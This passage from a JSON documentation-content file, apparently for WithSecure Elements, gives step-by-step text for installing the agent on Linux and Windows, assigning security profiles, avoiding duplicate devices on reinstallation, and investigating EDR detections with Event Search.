"substep.substep_installing_deb_rpm_000018_C745", "substep.substep_installing_deb_rpm_00001B_C799", "substep.substep_installing_deb_rpm_00001D_0AA7", "substep.substep_installing_deb_rpm_000020_4307", "content.p_installing_deb_rpm_000022_9082", { "subsubchoices.ul_installing_deb_rpm_000023_ADA0": [ "subsubchoice.choice_installing_deb_rpm_000024_DF3B", "subsubchoice.choice_installing_deb_rpm_000027_9B4C" ] } ] }, "step.step_installing_deb_rpm_00002A_5317", "content.p_installing_deb_rpm_00002C_E4C7", "content.note_installing_deb_rpm_00002E_E263" ] }, "content.note_installing_deb_rpm_000030_768E", "content.note_installing_deb_rpm_000034_8638" ] }, "task_nqm_ms3_b1c-latest-en.json": { "title": "title_installing_generic_000001_011E", "title_installing_generic_000001_011E": "Install the product using a generic installer package", "shortdesc": "shortdesc_installing_generic_000002_0974", "shortdesc_installing_generic_000002_0974": "Installs the product using a generic installer package.", "content.note_installing_generic_000011_B130": "Note: There are platform architecture-specific installers. You need to download the matching one.", "substep.substep_installing_generic_000016_75EB": "Log in to WithSecure Elements Security Center.", "substep.substep_installing_generic_000019_08A2": "Under Management, select Downloads.", "substep.substep_installing_generic_00001D_215F": "Under WithSecure Elements Agent for Servers, download the installer that matches your architecture, either AMD64 or ARM64.", "substep.substep_installing_generic_000020_97E2": "Log in to the Linux host as root.", "substep.substep_installing_generic_000022_049E": "For checking that the required dependencies are installed, see Linux Protection system requirements.", "content.p_installing_generic_000027_439B": "chmod +x ./linuxsecurity-installer.amd64.bin chmod +x ./linuxsecurity-installer.arm64.bin", "substep.substep_installing_generic_000025_8865": "Depending on whether you use an AMD64 or ARM64 version, run one of the following commands to set the executable bit on the installer file that you downloaded:", "step.step_installing_generic_000013_12B9": "To install the product, do the following:", "content.p_installing_generic_00002C_365E": "./linuxsecurity-installer.amd64.bin --subscription-key SUBSCRIPTION-KEY --profile-id PROFILE-ID ./linuxsecurity-installer.arm64.bin --subscription-key SUBSCRIPTION-KEY --profile-id PROFILE-ID", "content.note_installing_generic_00002F_9F0C": "Note: Replace SUBSCRIPTION-KEY with the product subscription key. The PROFILE-ID parameter is optional but by adding it, the agent installation can be associated with one of the profiles available in the profile editor view in WithSecure Elements Security Center. Replace PROFILE-ID with the numeric identifier of the profile.", "step.step_installing_generic_00002A_82F6": "Depending on whether you use an AMD64 or ARM64 version, run one of the following commands to install and activate the product:", "content.note_installing_generic_000031_BE7B": "Note: You can also provide the subscription key and the profile ID for the installation by renaming the linuxsecurity-installer program to match one of the following patterns before running the program: linuxsecurity-installer-[SUBSCRIPTION-KEY] or linuxsecurity-installer-[SUBSCRIPTION-KEY]-[profile=PROFILE-ID]. It is important that you use [ ] brackets around the subscription key and profile=PROFILE-ID. The renamed installer program can be run without any command-line arguments.", "content.note_installing_generic_000035_3563": "Note: You can use the --override-distro option to install the product on a distribution that is not officially supported, for example, --override-distro rhel:8.6. WithSecure cannot offer support for any issues with unsupported distributions.", "content.note_installing_generic_000039_202F": "Note: To use an HTTP proxy during the activation process, add the --http-proxy command line option. You can use this option in the following formats:", "desc": [ "content.note_installing_generic_000011_B130", { "steps.steps_installing_generic_000012_57F0": [ "step.step_installing_generic_000013_12B9", { "substeps.substepsalpha_installingalpha_genericalpha_000015alpha_2D7D": [ "substep.substep_installing_generic_000016_75EB", "substep.substep_installing_generic_000019_08A2", "substep.substep_installing_generic_00001D_215F", "substep.substep_installing_generic_000020_97E2", "substep.substep_installing_generic_000022_049E", "substep.substep_installing_generic_000025_8865", "content.p_installing_generic_000027_439B" ] }, "step.step_installing_generic_00002A_82F6", "content.p_installing_generic_00002C_365E", "content.note_installing_generic_00002F_9F0C" ] }, "content.note_installing_generic_000031_BE7B", "content.note_installing_generic_000035_3563", "content.note_installing_generic_000039_202F" ] }, "handling_common_use_cases-latest-en.json": { "title": "title_handling_common_use_case_0DBB9", "title_handling_common_use_case_0DBB9": "Handling common use cases", "shortdesc": "shortdesc_handling_common_use_case_0C297", "shortdesc_handling_common_use_case_0C297": "Common deployment use cases, including deploying clients with the WithSecure MSI tool, assigning settings, and reinstalling a client without duplicating devices. ", "content.p_handling_common_use_case_096CD": "This section describes how to handle common deployment use cases, including deploying clients with the WithSecure MSI tool, assigning settings to clients, and reinstalling a client without creating duplicate devices.", "desc": [ "content.p_handling_common_use_case_096CD" ] }, "using_ws_msi_tool-latest-en.json": { "title": "title_using_ws_msi_tool_000001_5FDCF", "title_using_ws_msi_tool_000001_5FDCF": "Use the WithSecure MSI transformation tool", "shortdesc": "shortdesc_using_ws_msi_tool_000002_06279", "shortdesc_using_ws_msi_tool_000002_06279": "Uses the WithSecure MSI transformation tool to create a customized client installer with embedded parameters. ", "content.p_using_ws_msi_tool_000013_6F073": "The tool allows you to embed custom parameters, for example, your subscription key in the installer so that you do not need to specify them during the installation. MSI files are a convenient way to create a customized client application for installing Elements Agent. In some cases, for example, when installing via Active Directory Group Policy, an MSI file is a requirement. There are, however, other methods that you can use at your preference.", "content.p_using_ws_msi_tool_000015_F4600": "The WithSecure MSI transformation tool allows you to either create a customized MSI file or an MST file that contains only the configurations. Consider the following when choosing between them:", "subchoice.choice_using_ws_msi_tool_00001A_82D87": "A convenient method because the installer contains all the settings", "subchoice.choice_using_ws_msi_tool_00001B_2159D": "Modifying the original MSI file invalidates the signing of the package, which means that you are required to either sign it again with your own certificate or allow installation of unsigned software", "step.step_using_ws_msi_tool_000018_1EFC8": "Creating a customized MSI installer", "subchoice.choice_using_ws_msi_tool_00001E_AA1D0": "This method results in a separate file for the configurations", "subchoice.choice_using_ws_msi_tool_00001F_68062": "A convenient method because it does not alter the signature of the installer", "step.step_using_ws_msi_tool_00001C_51771": "Creating a separate MST file", "content.p_using_ws_msi_tool_000020_13325": "To use the MSI transformation tool, you need to do the following:", "content.note_using_ws_msi_tool_000025_EF1F1": "Important: MSI files are valid for eight months. If you have downloaded an MSI file more than eight months ago, you need to download a new one.", "step.step_using_ws_msi_tool_000022_88E71": "Download a recent version of WithSecure Elements Agent in an MSI format from the Downloads section of WithSecure Elements Security Center.", "step.step_using_ws_msi_tool_000026_4660D": "Download the WithSecure MSI transformation tool (FsMsiTool_ui.exe) from the WithSecure download site.", "content.p_using_ws_msi_tool_000029_094A7": "To use the MSI transformation tool:", "step.step_using_ws_msi_tool_00002B_8E750": "Launch the MSI transformation tool.", "content.p_using_ws_msi_tool_000031_C6205": "", "step.step_using_ws_msi_tool_00002D_0C23B": "On the page that opens, specify the path to the MSI installer for Elements Agent, and select Next.", "content.p_using_ws_msi_tool_000036_C391D": "", "step.step_using_ws_msi_tool_000033_A7F41": "Specify one or more MSI properties you want to add, and select Next.", "content.p_using_ws_msi_tool_00003A_03FB4": "", "step.step_using_ws_msi_tool_000038_ACDBB": "Specify the output MSI file or the MST file, or both.", "content.p_using_ws_msi_tool_00003F_B84F7": "", "step.step_using_ws_msi_tool_00003C_62D3C": "Select Generate to create the files.", "desc": [ "content.p_using_ws_msi_tool_000013_6F073", "content.p_using_ws_msi_tool_000015_F4600", { "steps.ul_using_ws_msi_tool_000017_93774": [ "step.step_using_ws_msi_tool_000018_1EFC8", { "subchoices.ul_using_ws_msi_tool_000019_89FA2": [ "subchoice.choice_using_ws_msi_tool_00001A_82D87", "subchoice.choice_using_ws_msi_tool_00001B_2159D" ] }, "step.step_using_ws_msi_tool_00001C_51771", { "subchoices.ul_using_ws_msi_tool_00001D_95A9C": [ "subchoice.choice_using_ws_msi_tool_00001E_AA1D0", "subchoice.choice_using_ws_msi_tool_00001F_68062" ] } ] }, "content.p_using_ws_msi_tool_000020_13325", { "steps.ul_using_ws_msi_tool_000021_7C19F": [ "step.step_using_ws_msi_tool_000022_88E71", "content.note_using_ws_msi_tool_000025_EF1F1", "step.step_using_ws_msi_tool_000026_4660D" ] }, "content.p_using_ws_msi_tool_000029_094A7", { "steps.steps_using_ws_msi_tool_00002A_36A30": [ "step.step_using_ws_msi_tool_00002B_8E750", "step.step_using_ws_msi_tool_00002D_0C23B", "content.p_using_ws_msi_tool_000031_C6205", "step.step_using_ws_msi_tool_000033_A7F41", "content.p_using_ws_msi_tool_000036_C391D", "step.step_using_ws_msi_tool_000038_ACDBB", "content.p_using_ws_msi_tool_00003A_03FB4", "step.step_using_ws_msi_tool_00003C_62D3C", "content.p_using_ws_msi_tool_00003F_B84F7" ] } ] }, "assign_settings-latest-en.json": { "title": "title_assign_settings_000001_0AAC81A", "title_assign_settings_000001_0AAC81A": "Assigning settings to clients", "shortdesc": "shortdesc_assign_settings_000002_CCF83EA", "shortdesc_assign_settings_000002_CCF83EA": "All client settings are managed with profiles which are a bundle of product specific settings. ", "content.p_assign_settings_00000E_CC0B44E": "You apply client settings by assigning profiles to devices. This section describes how to assign a profile manually and how to assign profiles automatically with assignment rules.", "desc": [ "content.p_assign_settings_00000E_CC0B44E" ] }, "adding_profile_assignment_rules_cp-latest-en.json": { "title": "title_adding_profile_assignmen_03AD7", "title_adding_profile_assignmen_03AD7": "Add profile assignment rules", "shortdesc": "shortdesc_adding_profile_assignmen_0B5A0", "shortdesc_adding_profile_assignmen_0B5A0": "Adds a profile assignment rule that automatically applies a profile to new devices based on matching conditions. ", "content.p_adding_profile_assignmen_068EE": "The recommended way to assign profiles is to use profile assignment rules in WithSecure Elements Security Center. The profile assignment rules replace the default profiles. They are automatically applied to new devices that are added to the system and executed in the order that they appear in the table from top to bottom. The first rule that matches is applied to new devices. If there is no matching rule, the default rule is applied.", "content.note_adding_profile_assignmen_04966": "Note: You can turn on the Change tracking toggle. When it is on, the system continuously evaluates the rules. The system updates the profile and label assignments for each device when it detects changes in any of the following:", "content.note_adding_profile_assignmen_08127": "Note: We recommend that you create your own, stricter profiles because the default ones allow users to turn off or uninstall the antivirus feature and have control on most features.", "content.p_adding_profile_assignmen_09020": "To add a profile assignment rule:", "content.p_adding_profile_assignmen_0FC14": "The Profiles page opens.", "step.step_adding_profile_assignmen_0B393": "Under Security Configurations, select Profiles on the sidebar.", "content.p_adding_profile_assignmen_0181B": "A view opens showing the default outbreak rules and profile assignment rules for each device type.", "step.step_adding_profile_assignmen_0E72A": "Select the Profile assignment rules tab.", "content.p_adding_profile_assignmen_0BFB6": "The Add Custom rule window opens.", "step.step_adding_profile_assignmen_05106": "Select Add Custom rule.", "subchoice.choice_adding_profile_assignmen_01FE3": "Select a condition.", "subchoice.choice_adding_profile_assignmen_05188": "Based on the selected condition, either select or enter a value.", "subchoice.choice_adding_profile_assignmen_088A1": "Select the client type: Windows workstations, Windows servers, Linux, Mac computers, Mobile devices, Connectors.", "subchoice.choice_adding_profile_assignmen_01ED7": "Select the profile that you want to assign.", "subchoice.choice_adding_profile_assignmen_06B0D": "Add a label to your rule (optional).", "subchoice.choice_adding_profile_assignmen_0035A": "Add a description for your rule.", "step.step_adding_profile_assignmen_0F9D7": "Enter the following information:", "content.p_adding_profile_assignmen_0C03C": "The new rule is added to the top of the table.", "step.step_adding_profile_assignmen_00BA6": "Select Add Custom rule", "subchoice.choice_adding_profile_assignmen_06C6A": "Drag and drop the rules to the desired position.", "subchoice.choice_adding_profile_assignmen_01693": "On the row of the rule that you want to move, from the Action column, select either Move to top or Move to bottom.", "content.note_adding_profile_assignmen_018E1": "Note: The existing default rules are always at the bottom of the rules. You cannot move the rules that you created below the default rules.", "step.step_adding_profile_assignmen_042AC": "Change the order of the rules that you create in one of the following ways:", "content.note_adding_profile_assignmen_06830": "Note: You can select to have the system evaluate the rules for all the devices after you save the changes.", "step.step_adding_profile_assignmen_0F4A3": "In the Rules were changed banner at the bottom of the page, select Save changes.", "content.p_adding_profile_assignmen_0BDE5": "The new rule was added to the table.", "desc": [ "content.p_adding_profile_assignmen_068EE", "content.note_adding_profile_assignmen_04966", "content.note_adding_profile_assignmen_08127", "content.p_adding_profile_assignmen_09020", { "steps.steps_adding_profile_assignmen_06221": [ "step.step_adding_profile_assignmen_0B393", "content.p_adding_profile_assignmen_0FC14", "step.step_adding_profile_assignmen_0E72A", "content.p_adding_profile_assignmen_0181B", "step.step_adding_profile_assignmen_05106", "content.p_adding_profile_assignmen_0BFB6", "step.step_adding_profile_assignmen_0F9D7", { "subchoices.choices_adding_profile_assignmen_07EBF": [ "subchoice.choice_adding_profile_assignmen_01FE3", "subchoice.choice_adding_profile_assignmen_05188", "subchoice.choice_adding_profile_assignmen_088A1", "subchoice.choice_adding_profile_assignmen_01ED7", "subchoice.choice_adding_profile_assignmen_06B0D", "subchoice.choice_adding_profile_assignmen_0035A" ] }, "step.step_adding_profile_assignmen_00BA6", "content.p_adding_profile_assignmen_0C03C", "step.step_adding_profile_assignmen_042AC", { "subchoices.choices_adding_profile_assignmen_0867E": [ "subchoice.choice_adding_profile_assignmen_06C6A", "subchoice.choice_adding_profile_assignmen_01693" ] }, "content.note_adding_profile_assignmen_018E1", "step.step_adding_profile_assignmen_0F4A3", "content.note_adding_profile_assignmen_06830" ] }, "content.p_adding_profile_assignmen_0BDE5" ] }, "specify_profile_id-latest-en.json": { "title": "title_specify_profile_id_000001_6D2C", "title_specify_profile_id_000001_6D2C": "Specify profile ID during Elements Agent installation", "shortdesc": "shortdesc_specify_profile_id_000002_D88E", "shortdesc_specify_profile_id_000002_D88E": "If you cannot create a rule to match your use case, by specifying the profile during the Elements Agent installation, you can still have control over what profile is assigned. ", "content.p_specify_profile_id_000011_2783": "To specify the profile ID:", "substep.substep_specify_profile_id_000016_E343": "Under Security configurations, select Profiles, and then select a profile.", "substep.substep_specify_profile_id_00001A_8BCC": "Edit the profile that you want to be assigned.", "substep.substep_specify_profile_id_00001C_0F0B": "Copy the profile ID that is shown at the top of the profile settings.", "step.step_specify_profile_id_000013_64F2": "Copy the profile ID from the profile settings as follows:", "content.p_specify_profile_id_000021_AA45": "ElementsAgentInstaller.exe --profile-id=117525", "step.step_specify_profile_id_00001E_E336": "If you install the Elements Agent from command line or from a script, you can add the parameter to the command by substituting the number in the example with what you see in your own profile:", "content.p_specify_profile_id_000025_A915": "PROFILE_ID=117525", "content.note_specify_profile_id_000028_03D6": "Note: When you pass a profile ID as an installation parameter, profile assignment rules are not evaluated.", "step.step_specify_profile_id_000023_5372": "If you create a custom MSI installer, add the following parameter by substituting the number in the example with what you see in your own profile:", "desc": [ "content.p_specify_profile_id_000011_2783", { "steps.steps_specify_profile_id_000012_BA74": [ "step.step_specify_profile_id_000013_64F2", { "substeps.substepsalpha_specifyalpha_profilealpha_idalpha_000015alpha_82C3": [ "substep.substep_specify_profile_id_000016_E343", "substep.substep_specify_profile_id_00001A_8BCC", "substep.substep_specify_profile_id_00001C_0F0B" ] }, "step.step_specify_profile_id_00001E_E336", "content.p_specify_profile_id_000021_AA45", "step.step_specify_profile_id_000023_5372", "content.p_specify_profile_id_000025_A915", "content.note_specify_profile_id_000028_03D6" ] } ] }, "assigning_profile_manually-latest-en.json": { "title": "title_assigning_profile_manual_0B038", "title_assigning_profile_manual_0B038": "Manually assign a profile", "shortdesc": "shortdesc_assigning_profile_manual_02691", "shortdesc_assigning_profile_manual_02691": "Manually assigns a profile to one or more devices. ", "content.p_assigning_profile_manual_0A648": "To manually assign settings:", "step.step_assigning_profile_manual_0BFA8": "After you have installed a client, log in to WithSecure Elements Security Center.", "content.p_assigning_profile_manual_0E036": "A menu is displayed at the bottom of the page.", "step.step_assigning_profile_manual_07433": "Under Environment, select Devices and then select one or more devices.", "step.step_assigning_profile_manual_08E14": "Select Assign profile.", "step.step_assigning_profile_manual_0EB0A": "From the drop-down menu, select the profile that you want to assign to the selected devices.", "content.p_assigning_profile_manual_02163": "The profile is assigned to the devices that you selected.", "step.step_assigning_profile_manual_0BB48": "Select Assign profile.", "desc": [ "content.p_assigning_profile_manual_0A648", { "steps.steps_assigning_profile_manual_0F2B8": [ "step.step_assigning_profile_manual_0BFA8", "step.step_assigning_profile_manual_07433", "content.p_assigning_profile_manual_0E036", "step.step_assigning_profile_manual_08E14", "step.step_assigning_profile_manual_0EB0A", "step.step_assigning_profile_manual_0BB48", "content.p_assigning_profile_manual_02163" ] } ] }, "client_reinstallation_no_duplicates-latest-en.json": { "title": "title_client_reinstallation_no_0AB99", "title_client_reinstallation_no_0AB99": "Reinstallation of Elements Agent without duplicating devices", "shortdesc": "shortdesc_client_reinstallation_no_07B65", "shortdesc_client_reinstallation_no_07B65": "Description of the lifecycle of an agent installation to help you avoid the most common pitfalls that you might encounter over it. ", "content.p_client_reinstallation_no_0AE0E": "In WithSecure Elements Security Center, devices are listed with the device name being the main identifier. In reality, a cloud service needs a more fine-tuned way to identify the uniqueness of millions of devices. For this reason, a unique UUID is generated during the installation. By default, if your WithSecure Elements management software that you use uninstalls WithSecure Elements Agent and reinstalls it, a new UUID is generated and a second device with the same name appears in Elements Security Center. If this is a rare occasion, it will not be an issue, but in some cases, management software such as Intune might reinstall all software as part of an operating system upgrade in which case it would be a good idea to be prepared.", "content.title_client_reinstallation_no_02E8F": "Avoiding issues when Elements Agent is reinstalled", "content.p_client_reinstallation_no_00AD4": "To avoid potential problems during reinstallation of Elements Agent, we need to send a device specific identifier to the backend along with the generated UUID. Currently, two options are supported:", "step.step_client_reinstallation_no_0DEA5": "the computers SMBIOS GUID (a unique identifier on the motherboard)", "step.step_client_reinstallation_no_0B932": "AD GUID (the devices' unique identifier from Active Directory)", "content.dt_client_reinstallation_no_0BCB7": "SMBIOS GUID", "content.p_client_reinstallation_no_0F66B": "A system management BIOS identifier of the devices is a DMTF standard that defines each computer's motherboard with a unique identifier set by the manufacturer.
", "content.p_client_reinstallation_no_0B4A6": "We recommend that you use this identifier.
", "content.p_client_reinstallation_no_06BD6": "In rare cases, manufacturers do not follow the standards by assigning identical values to all devices or using this field for alternative purposes, such as support contact information. To mitigate potential issues, we have restricted the use of this parameter for known problematic values to prevent cases where all devices share a common identifier on the backend. Note that these issues are very uncommon and unlikely to occur with laptops that are sold for business use.", "content.dt_client_reinstallation_no_05735": "AD GUID", "content.dd_client_reinstallation_no_0643B": "", "content.dd_p_client_reinstallation_no_0CEBF": "A unique identifier that is generated when the device registers in a company Active Directory
", "content.note_client_reinstallation_no_0379E": "Note: We recommend this when the SMBIOS GUID does not work, such as in non-persistent VDI deployments where SMBIOS changes whenever an image starts.
", "content.dd_p_client_reinstallation_no_0D0F2": "This identifier works only for computers that are registered in an Active Directory before Elements Agent is installed.
", "content.dd_p_client_reinstallation_no_0E8FF": "If the device is removed and then re-added to Active Directory, it can be duplicated in Elements Security Center when Elements Agent is reinstalled.
", "content.p_client_reinstallation_no_0E10E": "When you use these parameters during installation, the following occurs:", "subchoice.choice_client_reinstallation_no_06F6B": "Elements Agent generates a unique UUID as part of the installation", "subchoice.choice_client_reinstallation_no_0AAC2": "During the registration, Elements Agent sends the subscription key, generated UUID, and the SMBIOS GUID or AD GUID to the backend where both are stored", "subchoice.choice_client_reinstallation_no_01A54": "A new device is added to Elements Security Center", "step.step_client_reinstallation_no_04DBC": "First-time installation", "subchoice.choice_client_reinstallation_no_03E89": "Elements Agent generates a unique UUID as part of the installation", "subchoice.choice_client_reinstallation_no_05C6A": "During the registration, Elements Agent sends the subscription key, generated UUID, and the SMBIOS GUID or AD GUID to the backend", "subchoice.choice_client_reinstallation_no_02F66": "The backend identifies a device that has the same subscription key and that uses the same SMBIOS GUID or AD GUID and therefore attaches them to the existing device.", "subchoice.choice_client_reinstallation_no_0E5BC": "A new device is not added to Elements Security Center but the existing one is updated.", "step.step_client_reinstallation_no_05D17": "Following installations:", "content.note_client_reinstallation_no_0AD0D": "Note: All installations must use the same subscription key.", "content.note_client_reinstallation_no_0EE4D": "Note: In the Horizon desktop pool, turn on the Allow Reuse of Existing Computer Accounts option to prevent the system from generating duplicate devices. When you create Active Directory accounts, they remain unchanged even after clone operations. So, Elements Security Center does not consider them as distinct devices, even if they share identical names.", "content.p_client_reinstallation_no_06840": "When you install Elements Agent with an .exe file, use the following parameters:", "step.step_client_reinstallation_no_002EB": "SMBIOS GUID as an identifier: c:\\path\\to\\installer.exe --use_smbios_guid", "step.step_client_reinstallation_no_0B5F3": "AD GUID as an identifier: c:\\path\\to\\installer.exe --use_ad_guid", "content.p_client_reinstallation_no_08EB1": "When you install Elements Agent with an .msi file, use the following parameters:", "step.step_client_reinstallation_no_0902E": "SMBIOS GUID as an identifier: msiexec /i c:\\path\\to\\installer.msi /qn UNIQUE_SIGNUP_ID=smbios", "step.step_client_reinstallation_no_0F9FB": "AD GUID as an identifier: msiexec /i c:\\path\\to\\installer.msi /qn UNIQUE_SIGNUP_ID=adguid", "desc": [ "content.p_client_reinstallation_no_0AE0E", "content.title_client_reinstallation_no_02E8F", "content.p_client_reinstallation_no_00AD4", { "steps.ul_client_reinstallation_no_079E6": [ "step.step_client_reinstallation_no_0DEA5", "step.step_client_reinstallation_no_0B932" ] }, { "dl.dl_client_reinstallation_no_078FB": [ { "dlentry.dlentry_client_reinstallation_no_07C60": [ "content.dt_client_reinstallation_no_0BCB7", "content.p_client_reinstallation_no_0F66B", "content.p_client_reinstallation_no_0B4A6", "content.p_client_reinstallation_no_06BD6" ] }, { "dlentry.dlentry_client_reinstallation_no_0C285": [ "content.dt_client_reinstallation_no_05735", "content.dd_client_reinstallation_no_0643B", "content.dd_p_client_reinstallation_no_0CEBF", "content.note_client_reinstallation_no_0379E", "content.dd_p_client_reinstallation_no_0D0F2", "content.dd_p_client_reinstallation_no_0E8FF" ] } ] }, "content.p_client_reinstallation_no_0E10E", { "steps.ul_client_reinstallation_no_0E8C5": [ "step.step_client_reinstallation_no_04DBC", { "subchoices.ul_client_reinstallation_no_03CCA": [ "subchoice.choice_client_reinstallation_no_06F6B", "subchoice.choice_client_reinstallation_no_0AAC2", "subchoice.choice_client_reinstallation_no_01A54" ] }, "step.step_client_reinstallation_no_05D17", { "subchoices.ul_client_reinstallation_no_0CB4E": [ "subchoice.choice_client_reinstallation_no_03E89", "subchoice.choice_client_reinstallation_no_05C6A", "subchoice.choice_client_reinstallation_no_02F66", "subchoice.choice_client_reinstallation_no_0E5BC" ] } ] }, "content.note_client_reinstallation_no_0AD0D", "content.note_client_reinstallation_no_0EE4D", "content.p_client_reinstallation_no_06840", { "steps.ul_client_reinstallation_no_094E6": [ "step.step_client_reinstallation_no_002EB", "step.step_client_reinstallation_no_0B5F3" ] }, "content.p_client_reinstallation_no_08EB1", { "steps.ul_client_reinstallation_no_08D90": [ "step.step_client_reinstallation_no_0902E", "step.step_client_reinstallation_no_0F9FB" ] } ] }, "administering-latest-en.json": { "title": "title_administering_000001_A21CFE66", "title_administering_000001_A21CFE66": "Investigating detections and responding to incidents", "shortdesc": "shortdesc_administering_000002_0510652B", "shortdesc_administering_000002_0510652B": "Investigating detections that Elements EDR raises and responding to incidents covers evaluating and handling detections, setting up email alerts, and generating reports. ", "content.p_administering_000013_EF0A8B76": "This chapter describes how to investigate the detections that Elements EDR raises and respond to incidents from Elements Security Center. It covers evaluating and handling detections, setting up email alerts, generating reports, and the best practices for day-to-day use.", "desc": [ "content.p_administering_000013_EF0A8B76" ] }, "evaluating_detections-latest-en.json": { "title": "title_evaluating_detections_0000F8BE", "title_evaluating_detections_0000F8BE": "Investigate Broad Context Detections", "shortdesc": "shortdesc_evaluating_detections_00003ACD", "shortdesc_evaluating_detections_00003ACD": "In some cases, it is best to inform the customer at once about the incident. In other cases, it is best to gather further information before taking action on the detection. ", "content.p_evaluating_detections_0000020F": "Before detections arrive in the portal, they have been thoroughly analyzed by multiple behavioral algorithms and combined via artificial intelligence into Broad Context Detections – series of interconnected events that might seem otherwise independent. You need to investigate these detections and decide how to proceed.", "content.p_evaluating_detections_0000536B": "Follow these instructions when investigating detections:", "content.p_evaluating_detections_0000887A": "The Broad Context Detections view contains all broad context detections that have been found.", "step.step_evaluating_detections_00000E12": "Select Events > Broad Context Detections", "content.p_evaluating_detections_00008AFA": "If you think that you might have identified a potential attack, assess the level of risk it poses.", "step.step_evaluating_detections_000017FA": "Select the broad context detection that you want to investigate from the list.", "step.step_evaluating_detections_0000D6D8": "Check the risk level score, confidence, and criticality of the detection to decide whether it is something you should act on.", "content.p_evaluating_detections_00001B27": "Similar detections can help you to gather information about detections and how they may be connected. You can select the name of a similar detection from the list to view information of it.", "step.step_evaluating_detections_0000C6FD": "View similar detections that have similar properties to check how they have been handled before.", "content.p_evaluating_detections_0000A9F6": "The Process tree shows which processes are connected to the detection and what those processes have done. Select the double caret icon to view more detailed information and analysis of the specific activity. The detailed information view shows the host name, user, command line command, the full file path of the application, and SHA1 checksum for the file and the parent. The analysis shows the process category and the activities that the application has performed.", "content.note_evaluating_detections_00004CFC": "Note: If you want to investigate the incident even further, Event Search provides more detailed telemetry data of Broad Context Detections.", "step.step_evaluating_detections_00002D9D": "Check the Process tree to determine how an attacker tried to gain unauthorized access to the network.", "content.note_evaluating_detections_00006829": "Tip: Select the comment icon to read and write comments as you investigate the incident.", "step.step_evaluating_detections_0000FD15": "Check the Log view to view an event by event list what has happened.", "step.step_evaluating_detections_00009306": "Based on your investigation, decide which hosts have been used for the attack and which are most likely the focus of the attack.", "step.step_evaluating_detections_0000CB97": "Decide whether those hosts should be isolated from the network until the incident has been resolved.", "content.p_evaluating_detections_000073A2": "As you handle the incident with your customer, do not forget to update its status. After the incident has been properly handled, remember to close it.", "desc": [ "content.p_evaluating_detections_0000020F", "content.p_evaluating_detections_0000536B", { "steps.steps_evaluating_detections_00001AD0": [ "step.step_evaluating_detections_00000E12", "content.p_evaluating_detections_0000887A", "step.step_evaluating_detections_000017FA", "content.p_evaluating_detections_00008AFA", "step.step_evaluating_detections_0000D6D8", "step.step_evaluating_detections_0000C6FD", "content.p_evaluating_detections_00001B27", "step.step_evaluating_detections_00002D9D", "content.p_evaluating_detections_0000A9F6", "content.note_evaluating_detections_00004CFC", "step.step_evaluating_detections_0000FD15", "content.note_evaluating_detections_00006829", "step.step_evaluating_detections_00009306", "step.step_evaluating_detections_0000CB97" ] }, "content.p_evaluating_detections_000073A2" ], "related": [ "incident_types-latest-en", "handling_detections-latest-en" ] }, "event_search-latest-en.json": { "title": "title_event_search_000001_88ACDC13", "title_event_search_000001_88ACDC13": "Advanced incident investigation with Event Search", "shortdesc": "shortdesc_event_search_000002_B0DBF55B", "shortdesc_event_search_000002_B0DBF55B": "With Event Search, you can view the endpoint event data that sensors have collected. With this data, you can search for signs of threats or find more context for the incident that you are investigating already.", "content.p_event_search_000010_62E40015": "Event Search is designed for advanced incident investigation. It allows you to filter and search for events based on the time they occurred, and on the device and the organization where the event took place.", "content.p_event_search_000011_A5C836C5": "You can use Event Search to find specific activities or methods that are associated with specific threats. For example, you can search for a process that has been launched with specific command-line arguments. You can also use Event Search to search for more context for an incident that has been flagged as suspicious.", "desc": [ "content.p_event_search_000010_62E40015", "content.p_event_search_000011_A5C836C5" ] }, "using_event_search-latest-en.json": { "title": "title_using_event_search_000001_B413", "title_using_event_search_000001_B413": "Use Event Search", "shortdesc": "shortdesc_using_event_search_000002_8098", "shortdesc_using_event_search_000002_8098": "The Security Events view shows the endpoint event data based on the currently selected filtering rules.", "content.note_using_event_search_000012_CEA1": "Note: To change columns that are visible in the Security Events view, use either the Visible columns menu or open event details and then select to add the new column to the table.", "content.p_using_event_search_000016_E731": "To search for events:", "content.p_using_event_search_00001D_2143": "The Security Events view shows you a list of events that are found with currently selected filter view.", "content.note_using_event_search_00001F_D683": "Note: The system default filter view may have no events to display.", "step.step_using_event_search_000018_FA63": "Select Events > Security Events.", "content.p_using_event_search_000026_B6A7": "With some filters, select whether you want to see events that either contain the filter value, are exactly the same as it is or do not contain the entered value.", "substep.substep_using_event_search_000023_9AA7": "From the Select field dropdown, choose the field to filter on, then enter the value.", "substep.substep_using_event_search_000027_4425": "Select Apply to add the new filter.", "content.p_using_event_search_00002A_143E": "You can add as many filters as you need to refine your search.", "content.note_using_event_search_00002B_9D80": "Tip: For example, to search for events from specific dates, select the Time filter and then choose the time range using the Select value field.", "step.step_using_event_search_000020_EA06": "Filter events based on the event type, operating system, or device name, for example.", "step.step_using_event_search_00002E_6F4A": "In the results table, use down arrow icons to expand event entries and to view detailed information about the specific event.", "content.p_using_event_search_000030_7702": "The results table shows the events that match your filters, with expandable details for each event.", "desc": [ "content.note_using_event_search_000012_CEA1", "content.p_using_event_search_000016_E731", { "steps.steps_using_event_search_000017_B40F": [ "step.step_using_event_search_000018_FA63", "content.p_using_event_search_00001D_2143", "content.note_using_event_search_00001F_D683", "step.step_using_event_search_000020_EA06", { "substeps.substepsalpha_usingalpha_eventalpha_searchalpha_000022alpha_01DF": [ "substep.substep_using_event_search_000023_9AA7", "content.p_using_event_search_000026_B6A7", "substep.substep_using_event_search_000027_4425" ] }, "content.p_using_event_search_00002A_143E", "content.note_using_event_search_00002B_9D80", "step.step_using_event_search_00002E_6F4A" ] }, "content.p_using_event_search_000030_7702" ], "related": [ "using_search_filters-latest-en" ] }, "using_search_filters-latest-en.json": { "title": "title_using_search_filters_00000413D", "title_using_search_filters_00000413D": "Save your Event Search view", "shortdesc": "shortdesc_using_search_filters_00000140C", "shortdesc_using_search_filters_00000140C": "Save searches to reuse their filtering rules later.", "content.p_using_search_filters_00001FEF5": "To save your current view:", "step.step_using_search_filters_00001F59E": "On the Events > Security Events, create a search filtering rule as described.", "content.p_using_search_filters_000013394": "The View dialog shows the default system views and all filters that you have created.", "step.step_using_search_filters_000019F88": "Select the View field.", "substep.substep_using_search_filters_0000287BD": "In View name, enter a name for the new view.", "substep.substep_using_search_filters_00002744A": "To make the new search filter the default view, select Set as default.", "step.step_using_search_filters_000011D8B": "Select Save as to save a new search filter.", "content.note_using_search_filters_000027CC7": "Note: If you want to edit the search filter that you have already created, make sure that the view that you want to edit is selected before you select Save.", "step.step_using_search_filters_00002E3DE": "Select Save to save the new view.", 